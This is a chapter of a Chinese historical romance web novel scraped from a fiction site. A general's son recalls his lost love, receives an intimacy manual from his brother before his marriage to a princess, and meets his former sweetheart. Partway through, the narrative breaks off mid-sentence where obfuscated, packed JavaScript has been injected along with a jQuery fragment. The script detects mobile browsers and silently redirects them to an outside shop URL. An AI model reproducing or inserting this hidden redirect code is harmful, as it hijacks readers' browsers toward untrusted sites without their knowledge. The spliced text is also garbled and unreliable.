文趣网 > 其他小说 > 清欢误 > 9. 又是小册子
    墨深夜色,月光粼粼的池塘边,少女的手轻轻搭上少年的。

    “清晏哥哥,阿爹阿娘好像又吵架了,我有些怕。”

    少年反手温柔回握住少女的手,小心地将她揽入怀中。

    “别怕,等到明年你及笄了,我便请母亲去顾家提亲,往后你来我家,便有我护着你。若是你担心你阿娘弟弟,咱们便给他们单独置一处宅院,将他们接过去住,也一样能门庭清净。”

    少女没有反对,只是许久的沉默过后,忽然很不确定,“可……清晏哥哥,我们会不会最后也像我阿爹阿娘那样?”

    少年有些沉默,明白她顾虑的来源,却一下不知该如何安慰,只能说:“不会的,阿筠。”

    “可是我听人说,阿爹阿娘从前也十分恩爱。”少女音色低低,无法说服自己。

    少年认真思索片刻。

    “若你担心,便做些事情。”他说,“顾家数代经商,你耳濡目染,很有天赋。”

    少女抬头看他。

    “刚好我手里有几间母亲给的铺子,便交给你试着打理,赔了算我的,赚了算你的。”少年看着她笑,”这样慢慢攒些银子和产业出来,便是往后遇到什么事也有底气,你觉得可好?”

    少女从他的眼底看出认真和鼓励。

    最后她没应也没拒绝,只是窝进他怀里。

    “可是你又要跟着伯父出征了。”

    她说。

    “什么时候回来呢?”

    ……

    日头从游过的云层中探出头来。

    “清晏,你回来了。”

    裴瑀揉了揉隐隐作痛的眉心,缓缓神,才发觉自己竟睡着了。

    “兄长。”

    “怎么这么憔悴。”裴琢握着卷书走近来,看见他的状态,有点担心。

    裴瑀思绪回笼,意识到自己竟又回想起了从前的事。

    在一切变故发生前与柔筠的最后一面。

    等到他再与父兄战胜归来后,商贾顾家的族谱已再没了主母徐清漪和她两个孩子的名字,顾盛良已迎娶了来自书香门第的新主母,族谱上多了两个十岁大的亲生儿子。

    整个顾家对前夫人缄口不提,仿佛所谓徐姓从未在这偌大的府中存在过一般。

    大约是背信弃义之人的心虚。

    母亲为了他们的出征日夜烦忧,顾不上探听他人家的太多隐秘,提及此事唯有事后知晓的一声叹息。

    而他寻遍了整个建州城,却只得到了徐夫人身死,一儿一女不知所踪的消息。

    直到后来边疆彻底平静,裴家不再驻扎建州,班师回朝,他才终于在宫中再次遇到她。

    一个几乎与从前性情大变,失去了开朗,明媚,和笑容的她。

    她似乎已经将他彻底从人生的可能中摘去。

    或许只有他还怎么都放不下。

    “应是近来睡不安稳有些乏,无妨。”裴瑀也知道自己近些日子状态不对,但却毫无办法。

    如今边疆无战事,他又调任了清闲的官职,大约实在是无正事可做,才会陷在这些胡思乱想里走不出来吧。

    只是他越说无妨,裴琢便越心生愧疚。

    自从自己伤了身子,全家人便总多迁就他些,他其实也并非不知,只是到头来在这样的人生大事上,他还是默许了这种迁就,没能为弟弟再争取些什么。

    “听闫大夫说,你问他要了些东西。”裴琢小心斟酌着道,“可是与公主有何处不睦?这种事与旁人不方便说,与兄长说说还是无妨的。”

    裴瑀无奈,“闫大夫还真是……”

    “闫大夫也是出于关心,你别怪他。”

    闫大夫从前是军医,后来便兼裴府的府医,也是从小看着他们长大的,除医病之外,自然也多操份心。

    裴瑀都明白,只是觉得没什么可说。

    说什么?说他把事情想的太过简单,放不下心中人,做不到身心分离,过不去自己的良心?

    这是心病,若他自己想不明白,旁人说什么都无用。

    不过是白叫家人操心。

    “原本你说没有心上人,我想着既如此,夫妻感情总归从头经营,或许未必十分不好。”裴琢此刻的愧疚出于真心,“哪知道竟至于如此程度,究竟是何原因?你自己可有论断?”

    “兄长无需愧疚。”裴瑀知道他想什么,“都是该担的责任,事已成定局便无需多思,或许只是我如今还未适应,多想了些罢了。公主品性不差只是性子冷些,我的确是打算与公主好好做夫妻,却急不得,需慢慢磨合,兄长也可替我与父亲母亲说,无需过于担忧于我。”

    可是那档子事,无论适应与否,只要不是心里有结,无论是对心上人还是对公主的,食髓知味,该当都不会这般模样才对。

    “罢了,想来我再问你也不会说,做哥哥的便自己揣度几分了。”裴琢拿他没办法,但也不能什么都不做,便在裴瑀对侧的椅子坐下,将手中的书搁在他面前,颇有几分推心置腹的味道,“旁的原因你不愿说,我想不出,唯有一点做哥哥的还能有几分猜测。”

    他指了指书封空白的标题,压低声音。

    “我问过父亲才知,这些东西都未曾与你讲过。”他道,“想来二公主从来千娇百宠,从来都由旁人侍奉,大约无人提醒公主了解这些,偏你同样不解,公主或许又不愿纡尊降贵与你细说,两厢皆不得要领,只怕磨合再久,也只能渐行渐远。”

    裴瑀凝着那空白的封皮,一时没太反应过来。

    “你方才既说打算与公主好好经营,为兄如今旁的帮不上忙,也只能胡乱同你说上几句。”裴琢将册子推给他,语重心长,“倘若你实在无法接受这段姻缘,便与我们说,大不了再想想旁的办法。但若你真想与公主长久经营,也千万莫要在这种事上委屈了自己,于你于公主都不是利于长久的办法。”

    在兄长充满鼓励的眼神下,裴瑀谨慎地翻开封皮。

    猝不及防地与书中千姿百态的小人打了照面。

    ……

    二公主大约已经从先前处处紧绷的状态缓过神来,闲不住,又准备重新在府上办个宴会热闹一下,冲冲新婚的“晦气”。

    柔筠从库房挑了两匹御赐的新缎子,回去给公主复命的路上,碰到了面带沉思刚回府的裴瑀。

    视线对上之前,柔筠下意识的动作就是后退半步想躲。

    然而一条甬道没走到岔路时,往哪躲都显得刻意。

    视线交汇的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725387|208837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    瞬间,柔筠硬生生止住了退步。

    却还是被敏锐的人察觉。

    裴瑀刚从思绪抽身,又陷在一阵迎风拂来的馨香里。

    一阵悸动。

    裴瑀指尖在掌心微蜷。

    并非他心性当真薄弱,只是气味触动的感受甚至比言语触觉更加深刻。

    让他一下仿佛重新置身于那一片混沌暧昧的暗夜。

    但……同样的气息,大约不过是因为她常在公主身边侍候,故而沾染罢了。

    终究是他自己心性不坚。

    裴瑀目光沉沉,凝着咫尺相隔的姑娘,墨眸深浓的光泽些许暗淡。

    “为何总是躲我?”他的声音不高。

    她无言。

    “其实你不必如此。”也许带着几分不知是给他人还是自己的劝慰,裴瑀垂下了视线,不再追问,“你知我并非不知分寸之人,如今我与二公主结为夫妻,不该说的便不会多言半句,亦无心令你为难。”

    他的状态当真算不上好。

    不熟悉的人或许无法察觉,但就这一眼,她偏偏感觉到了。

    或许是她多想,柔筠竟从这样的裴瑀眼中看到几分悲伤。

    胸口情绪莫名紧了几分,揪得她有些痛。

    但她仍下意识环顾四周,确认边上除了卫珂之外,是否还有旁人。

    裴瑀闭了闭眼。

    再睁开时,眼底恢复一贯的冷静自持,似乎多日来的疲倦从未出现。

    “不必担心,四下无人。”他轻扯唇角,沉默片刻,忽转而淡笑,“其实今日相遇,本是想与柔筠姑娘问问殿下的喜好,不知现下可方便否?”

    分明他这般疏远该叫柔筠放心,偏偏她觉得心底无端沉闷。

    只是她面上调整好了心绪,仍笑:

    “公主驸马和睦是好事,自然没什么不便。”

    她挑拣着无伤大雅的说了几件。

    “只是……驸马。”末了,她望着裴瑀沉静的眉眼,还是忍不住多添一句,“殿下从小受尽宠爱,倘若是殿下心有芥蒂的人事,即便是投其所好,或也未必能够立竿见影。”

    她是不希望他在这桩婚事陷得太深,对谁都不好。

    她明白依裴瑀的想法,既然与二公主做了夫妻,便会试着好好培养情谊,不然今日也无需来问她这些。

    只是二公主心有所属,也是个执拗性子,岂会被轻易打动背弃海枯石烂的诺言?

    到头来受伤害的还是裴瑀。

    立场与顾虑使然,她不能直言相告。

    但或许同样出于某种私心,她还是说了这些。

    “多谢柔筠姑娘提醒,夫妻之间自然需要些耐心。”裴瑀字字句句似乎都在为她划清界限,平静道,“还请柔筠姑娘代我问问殿下,倘若何时方便,我打算前去拜见,有些事情相谈。”

    他的目光淡而静。

    明明是午后的阳光打在身上,却只能令人感受到身前背光处的温凉。

    或许真的应该下定决心放下了。

    ……

    合上没翻几页的无题书册搁到一边,裴瑀觉得,有些事还是要与二公主再细谈谈才好。

    若能够克服这一重心障,或许一切当真可以顺利得多。